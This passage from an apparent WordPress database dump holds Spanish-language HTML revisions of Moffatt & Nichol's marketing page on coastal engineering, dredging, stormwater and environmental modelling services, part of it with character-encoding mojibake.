src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">recuperaciÃ³n de playas</h1>\nDada la naturaleza dinÃ¡mica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervenciÃ³n para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante dÃ©cadas, Moffatt & Nichol ha completado con Ã©xito proyectos de recuperaciÃ³n de playas para muchos clientes pÃºblicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turÃsticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestiÃ³n de autorizaciones, participaciÃ³n de la comunidad, modelaciÃ³n y anÃ¡lisis de la ribera, desarrollo del presupuesto del litoral, anÃ¡lisis de daÃ±os y beneficios de tormentas, determinaciÃ³n y evaluaciÃ³n de fuentes de arena y alternativas de dragado, ingenierÃa, diseÃ±o, preparaciÃ³n de documentaciÃ³n de construcciÃ³n y servicios de licitaciÃ³n y construcciÃ³n.\n\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"6\">gestiÃ³n de bocas de entrada</h1>\n Las bocas de entrada estÃ¡n entre los elementos mÃ¡s importantes de los sistemas costeros. FÃsicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su regiÃ³n. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahÃas y los ocÃ©anos y juegan un papel muy importante en los procesos de evoluciÃ³n de las islas de barrera, ademÃ¡s de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagaciÃ³n de la marejada ciclÃ³nica en bahÃas interiores. AdemÃ¡s, proporcionan acceso de navegaciÃ³n importante, y con frecuencia irreemplazable, entre esas bahÃas interiores resguardadas y el mar abierto. \n \nLa correcta gestiÃ³n de las bocas de entrada requiere una profunda comprensiÃ³n y amplia evaluaciÃ³n de la dinÃ¡mica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinÃ¡micas y otros problemas relevantes mediante el anÃ¡lisis y la evaluaciÃ³n de algunas de las bocas de entrada costeras mÃ¡s importantes y dinÃ¡micas de NorteamÃ©rica. Esta experiencia incluye:\n<ul>\n<li>AnÃ¡lisis de estabilidad (bocas de entrada individuales y mÃºltiples)</li>\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\n<li>EvoluciÃ³n del bajÃo de marea baja y de inundaciÃ³n</li>\n<li>Presupuestos de sedimentos</li>\n<li>ModelaciÃ³n detallada de olas, hidrodinÃ¡mico, transporte de sedimentos y morfolÃ³gico</li>\n<li>Estimaciones de asomeramiento de canales</li>\n<li>Estructuras de estabilizaciÃ³n</li>\n<li>Sistemas de derivaciÃ³n mecÃ¡nicos</li>\n<li>AnÃ¡lisis de navegaciÃ³n</li>\n<li>OptimizaciÃ³n de canales de bocas de entrada (disposiciÃ³n y dimensiones)</li>\n<li>EvaluaciÃ³n de impactos de bocas de entrada en la hidrodinÃ¡mica de la bahÃa y la calidad del agua</li>\n</ul>\n&nbsp;\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"7\">gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa</h1>\nHistÃ³ricamente, el material dragado era considerado como â€œescombrosâ€ para desechar mientras que el material dragado mÃ¡s recientemente ha sido reconocido como un recurso valioso para la creaciÃ³n de humedales, recuperaciÃ³n de playas y otros proyectos similares. Con nuestra especializaciÃ³n en ingenierÃa costera, Moffatt & Nichol ha trabajado continuamente desde su fundaciÃ³n en planes y proyectos de gestiÃ³n de materiales dragados, incluyendo muchos relacionados con la reutilizaciÃ³n beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos tÃpicos incluyen el dragado y la colocaciÃ³n de materiales en altiplanicies, riberas, Ã¡reas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundizaciÃ³n de atracaderos, cuencas y canales de navegaciÃ³n, el dragado de emergencia o mantenimiento, la creaciÃ³n o restauraciÃ³n de hÃ¡bitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivaciÃ³n de antiguos lugares de colocaciÃ³n.\n\nMuchos de nuestros proyectos de dragado han implicado la modelaciÃ³n numÃ©rica de alta gama hidrodinÃ¡mico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestiÃ³n de autorizaciones, estrategias de gestiÃ³n de largo plazo, planes de gestiÃ³n de materiales dragados o la documentaciÃ³n de la construcciÃ³n. TambiÃ©n tenemos la capacidad de proporcionar estimaciones de la cantidad â€œbasadas en el riesgoâ€ y opiniones de costos probables en casos en los que el diseÃ±o del proyecto utiliza un criterio de riesgo aceptable para el diseÃ±o. Hemos completado el dragado para proyectos que varÃan desde cantidades tan pequeÃ±as como 5.000 yardas cÃºbicas, hasta la creaciÃ³n de Ã¡reas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cÃºbicas (el proyecto mÃ¡s grande de creaciÃ³n de terreno en los Estados Unidos.)\n\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\nA medida que la densidad demogrÃ¡fica continÃºa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha poblaciÃ³n e infraestructura al daÃ±o de tormentas costeras, asÃ como a un daÃ±o mÃ¡s gradual debido a cambios de largo plazo, se ha convertido en un foco de atenciÃ³n mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la poblaciÃ³n y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignaciÃ³n a Ã¡reas mÃ¡s vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingenierÃa costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseÃ±o apropiados que afectan al desarrollo. Por ejemplo, la determinaciÃ³n de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selecciÃ³n de rutas o ubicaciones mÃ¡s rentables. \n \nLas especialidades de Moffatt & Nichol relacionadas con la determinaciÃ³n de la vulnerabilidad incluyen la modelaciÃ³n hidrodinÃ¡mica, el anÃ¡lisis retrospectivo del oleaje y el anÃ¡lisis estadÃstico para determinar los criterios de diseÃ±o para la elevaciÃ³n de la marejada ciclÃ³nica, la elevaciÃ³n de la altura de la ola y la direcciÃ³n y magnitudes de la corriente. Estas determinaciones proporcionan la base para los anÃ¡lisis morfolÃ³gicos costeros, los anÃ¡lisis de socavaciÃ³n, los anÃ¡lisis de colisiÃ³n de buques y la gestiÃ³n de aguas pluviales que afectan la localizaciÃ³n y el diseÃ±o de caminos y puentes costeros.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"9\">estructuras hidrÃ¡ulicas</h1>\nA travÃ©s de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los rÃos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegaciÃ³n, la agricultura y el suministro de energÃa. Moffatt & Nichol es experto en el planeamiento y diseÃ±o de estructuras hidrÃ¡ulicas utilizadas para modificar corrientes y rÃos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protecciÃ³n contra inundaciones, presas, estructuras hidrÃ¡ulicas de control de flujo, esclusas, compuertas de marea, desvÃos de flujo, sifones invertidos, reservorios, lagunas de retenciÃ³n, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"10\">estructuras costeras </h1>\nEn cuanto a otros aspectos en el Ã¡rea de especializaciÃ³n de la ingenierÃa costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseÃ±o de estructuras costeras: rompeolas, malecones, diques marÃtimos, espigones, escolleras, muros de retenciÃ³n, etc., para proteger/estabilizar/controlar secciones de lÃneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseÃ±ado estructuras costeras en todos los ambientes de frentes costeros:\n<ul>\n<li>desde lÃneas costeras abiertas con agua profunda y exposiciÃ³n a tsunamis hasta bahÃas protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevaciÃ³n del nivel del mar por oleaje. </li>\n<li>desde el Ãrtico, donde el hielo puede determinar los parÃ¡metros de diseÃ±o, hasta el Ecuador, donde la corrosiÃ³n puede, y </li>\n<li>desde suelos dÃ©biles que proporcionan poco apoyo al lecho de roca expuesto</li>\n</ul>\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseÃ±o de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU.\n\nYa sea que se diseÃ±en directamente o que se proporcione informaciÃ³n a otras disciplinas para su diseÃ±o, el diseÃ±o de estructuras costeras se apoya en los resultados de varios anÃ¡lisis costeros en los que somos expertos, es decir, anÃ¡lisis estadÃsticos (viento, olas, corrientes, marejadas ciclÃ³nicas), modelaciÃ³n numÃ©rica y fÃsica incluyendo cambios morfolÃ³gicos costeros, o la determinaciÃ³n de carga hidrodinÃ¡mica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinÃ¡micas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinÃ¡micas que serÃ¡n consideradas durante el diseÃ±o de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos Ãºnicos, pertinentes al diseÃ±o y la construcciÃ³n de estructuras de zonas costeras, incluyendo el anÃ¡lisis de riesgo, la selecciÃ³n de materiales, la factibilidad de construcciÃ³n del sistema estructural y las implicaciones de costos de cada uno. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"11\">navegaciÃ³n/amarre/atraque de buques</h1>\nA medida que las demandas comerciales y recreacionales aumentan, el tamaÃ±o y la cantidad de buques que utilizan puertos y vÃas navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegaciÃ³n. Desde nuestra fundaciÃ³n en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseÃ±o de navegaciÃ³n formulados para aliviar dichos problemas y conflictos de navegaciÃ³n. Por consiguiente, hemos realizadoestudios de navegaciÃ³n en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero tambiÃ©n para compaÃ±Ãas privadas (como empresas de energÃa, de defensa, fabricantes o expedidores). AdemÃ¡s de los estudios de navegaciÃ³n, periÃ³dicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numÃ©ricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su trÃ¡nsito como mientras estÃ¡ atracado.\n  \n<strong>NavegaciÃ³n de buques.</strong> Los estudios de navegaciÃ³n de buques generalmente evalÃºan las caracterÃsticas existentes y propuestas de la vÃa navegable para las condiciones sin proyecto y con proyecto mediante el anÃ¡lisis de parÃ¡metros tales como la utilizaciÃ³n/operaciÃ³n del buque, las prÃ¡cticas de navegaciÃ³n y la gestiÃ³n de la vÃa navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los anÃ¡lisis/impactos econÃ³micos, anÃ¡lisis/impactos del transporte, caracterÃsticas de funcionamiento e hidrodinÃ¡mica del movimiento del buque y la evaluaciÃ³n cualitativa y cuantitativa de los riesgos, lo que implica el anÃ¡lisis estadÃstico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misiÃ³n completa de las maniobras del buque en vÃas navegables, puertos y carriles de navegaciÃ³n para una gama completa de condiciones potenciales de viento, olas y corrientes.\n\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para anÃ¡lisis estÃ¡ticos y dinÃ¡micos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de mÃºltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuaciÃ³n para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protecciÃ³n del atraque).\n\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseÃ±o y construcciÃ³n. Los proyectos tÃpicos han incluido canales de navegaciÃ³n/cuencas de retorno, dragado, ayudas de navegaciÃ³n, instalaciones de amarres, operaciones de lanchaje, control de rÃos, sistemas de defensas y mejoras de la estructura del frente costero.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n    <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"12\">recursos hÃdricos</h1>\nCon los cambios de poblaciÃ³n y las demandas de infraestructura correspondientes, la gestiÃ³n de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la poblaciÃ³n era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupaciÃ³n principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hÃdricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelaciÃ³n, anÃ¡lisis, soluciones alternativas, participaciÃ³n ciudadana, gestiÃ³n de autorizaciones, ingenierÃa, diseÃ±o, documentaciÃ³n de la construcciÃ³n y servicios de licitaciÃ³n y construcciÃ³n para que los proyectos mejoren o solucionen los problemas de gestiÃ³n de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentÃas sobre propietarios individuales.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n      <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"13\">gestiÃ³n de aguas pluviales</h1>\nLa gestiÃ³n de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentÃas se ha convertido en un Ã¡rea de creciente interÃ©s de parte de la ciudadanÃa y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atenciÃ³n, se ha desarrollado el interÃ©s en un tratamiento y una gestiÃ³n mÃ¡s pequeÃ±os y proactivos de las aguas pluviales, cerca de la fuente de la escorrentÃa, en comparaciÃ³n con el tratamiento de la escorrentÃa mÃ¡s cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauraciÃ³n de la divisoria de aguas, anÃ¡lisis de llanuras inundables, modelaciÃ³n hidrolÃ³gica/hidrÃ¡ulica integrada, apoyo para gestiÃ³n de autorizaciones, mejores prÃ¡cticas de gestiÃ³n de aguas pluviales, estructuras hidrÃ¡ulicas, sistemas de bombeo, mitigaciÃ³n de impactos, integraciÃ³n GIS/GPS, coordinaciÃ³n de diferentes organismos y participaciÃ³n ciudadana.\n      \nHemos completado estos proyectos en una amplia gama de escenarios hidrolÃ³gicos y topogrÃ¡ficos: montaÃ±as, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestiÃ³n de aguas pluviales son especialmente complejos porque el bajo relieve en topografÃa y las altas capas freÃ¡ticas limitan la colocaciÃ³n y con frecuencia afectan el rendimiento de las mejores prÃ¡cticas de gestiÃ³n de aguas pluviales convencionales. Como resultado de nuestro enfoque en la regiÃ³n costera, Moffatt & Nichol estÃ¡ muy familiarizado con prÃ¡cticas menos convencionales, casi atÃpicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilizaciÃ³n de modelos numÃ©ricos complejos en el ambiente costero, Moffatt & Nichol tambiÃ©n proporciona experiencia profesional especializada en la evaluaciÃ³n de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterrÃ¡nea combinadas para analizar su flujo y captaciÃ³n.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n      <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"14\">anÃ¡lisis de aire, sedimentos y calidad del agua</h1>\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestiÃ³n de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numÃ©ricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanÃa de dichos proyectos. Estos modelos tambiÃ©n se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcciÃ³n del proyecto y posteriormente durante la operaciÃ³n.\n  \nPara la gestiÃ³n de sedimentos, Moffatt & Nichol utiliza modelos numÃ©ricos muy sofisticados a fin de estudiar el incremento, la erosiÃ³n y el dragado del sedimento. Modelos similares de las prÃ¡cticas actuales se utilizan para analizar la calidad del agua de las masas de agua de rÃos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerÃan el retiro, la colocaciÃ³n y el aislamiento de sedimentos contaminados para evitar su reintroducciÃ³n al medioambiente y los riesgos ecolÃ³gicos potenciales asociados con dicha reintroducciÃ³n. Estos proyectos generalmente usan instalaciones de contenciÃ³n que aÃslan los sedimentos tratados quÃmicamente en Ã¡reas de colocaciÃ³n en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realizaciÃ³n.\n\nComo parte de la obtenciÃ³n de las autorizaciones para proyectos dentro de Ã¡reas de emisiÃ³n de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisiÃ³n de aire aceptados por la Agencia para la ProtecciÃ³n del Medioambiente (EPA, por sus siglas en inglÃ©s) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisiÃ³n en proyectos de desarrollo portuario en Ã¡reas muy urbanizadas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n      <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"15\">estudios de maniobras y trÃ¡fico de buques</h1>\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numÃ©ricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numÃ©rico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglÃ©s).  Este modelo tambiÃ©n incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados.  Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con Ã©xito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n      <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"17\">restauraciÃ³n de la divisoria de aguas</h1>\n Han ocurrido impactos negativos sobre la calidad del agua y el hÃ¡bitat acuÃ¡tico en los rÃos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauraciÃ³n de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenÃa previas a las alteraciones. Esto requiere la implementaciÃ³n integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelaciÃ³n numÃ©rica, diseÃ±o de ingenierÃa y construcciÃ³n, necesarios para que dichos proyectos tengan Ã©xito.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n\n','Servicios de recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','526-revision','','','2011-11-11 13:18:27','2011-11-11 13:18:27','',526,'http://moffattnichol.com/spanish/526-revision/',0,'revision','',0),(2464,1,'2012-06-15 05:38:47','2012-06-15 05:38:47','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre 